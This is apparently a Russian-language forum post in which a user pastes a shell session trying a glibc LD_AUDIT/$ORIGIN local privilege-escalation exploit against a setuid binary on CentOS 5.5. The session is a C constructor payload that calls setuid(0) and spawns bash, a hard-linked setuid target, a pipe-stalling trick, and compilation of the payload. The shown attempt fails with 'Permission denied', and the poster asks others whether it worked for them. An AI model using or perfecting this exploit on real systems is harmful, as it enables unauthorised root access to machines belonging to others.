Что-то вы не то делаете видимо,
но и у меня не получается. Это
как раз способ для SETUID файлов
без доступа на чтение$ ls -l /bin/ping2
-rwsr-x--- 1 root root 37312 Oct 19 18:51 /bin/ping2
$
$ mkdir /tmp/exploit
$ cat > /tmp/exploit.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
$
$ ln /bin/ping2 /tmp/exploit/target
$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) &
[1] 5559
$ rm -rf /tmp/exploit/
$ gcc -w -fPIC -shared -o /tmp/exploit /tmp/exploit.c
$ pkill -n -t $(tty | sed 's#/dev/##') sleep
$ -bash: line 11: 5560 Terminated sleep 1h
-bash: line 11: /tmp/exploit/target: Permission denied
[1]+ Done ( head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1 ) | ( sleep 1h; cat )
$
это на CentOS 5.5 . Может у кого-нибудь получилось?